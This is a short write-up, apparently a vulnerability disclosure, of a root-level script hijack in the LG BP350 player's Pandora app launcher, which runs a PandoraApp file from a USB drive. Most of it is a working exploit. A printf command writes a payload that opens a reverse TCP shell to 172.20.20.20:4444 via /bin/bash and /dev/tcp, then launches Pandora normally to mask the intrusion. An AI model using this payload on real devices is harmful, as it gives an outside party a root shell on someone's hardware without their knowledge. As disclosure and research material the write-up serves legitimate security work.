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App Launcher Script Hijack
The LG BP350 includes an optional Pandora Internet Radio App which, once installed, results in a vulnerability caused by the launcher script for pandora checking against paths of volumes which are mapped to USB drives before executing the script at the path on the local filesystem. By creating a script named PandoraApp and placing it in the root of a flash drive and plugging it into the set top box, any arbitrary script can be executed with root privileges.
The following command will add a file to a flashdrive that will spawn a reverse TCP shell, and proceed to execute the pandora app normally.
printf "/bin/bash -i >& /dev/tcp/172.20.20.20/4444 0>&1; /usr/local/bin/pandora/PandoraApp -qws -display directfb;" > /dev/yourflashdrive/PandoraApp